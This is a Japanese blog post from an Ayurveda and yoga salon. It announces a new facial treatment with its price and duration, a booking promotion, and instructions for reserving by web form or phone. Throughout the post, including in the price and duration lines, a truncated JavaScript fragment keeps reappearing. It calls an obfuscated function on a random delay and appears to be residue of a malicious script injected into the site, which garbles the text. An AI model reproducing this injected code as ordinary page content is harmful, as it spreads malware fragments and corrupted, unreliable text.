3.ホットタオルでふき取り
【所要時間】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} 20~25分
【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} 2,500円
こちらの「ヘッド&首肩オイルケア」、
もしくは通常メニューと同時にフェイシャルをご予約いただける場合、
特別にフェイシャル無料とさせていただきます♪andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

現在、10月にご予約いただいているお客様は、
ご希望であればメールにてご一報いただけましたらOKです。
なお10月は、5周年キャンペーンで
アビヤンガやマナス・スタンダードなどの
通常メニューもお得になっております。
ぜひセットでお試しくださいませ。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

もちろん、フェイシャルだけでも大歓迎です!!!andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
なおフェイシャルメニューのご予約可能日は、来週10月5日~となります。
ご予約お待ちしております!
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【ご予約方法】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
HPより予約状況カレンダーを確認していただき、
カレンダーの下にある予約フォームより、希望日時を選択。
通常メニューのご希望はタブより選択。
「フェイシャル」と「ヘッド&首肩ケア」はタブがないので
備考欄に記入してください。
※携帯アドレスからだと返信が届かないことが多いです。
 お申込みしてすぐに自動返信メールが送られていますので、
 それが届かない場合は、こちらinfo@manas.tokyoからの
 こちらからのメールが受け取れない状態とお考えください。
 お手数ですが設定をご確認のうえ、再度、お申込みいただくか、
 お電話にて確認いただけますよう、お願いいたします。
 (電話は出られないことも多いので留守電に残してくださいませ)
アーユルヴェーダ&ヨーガサロンmanas 《マナス》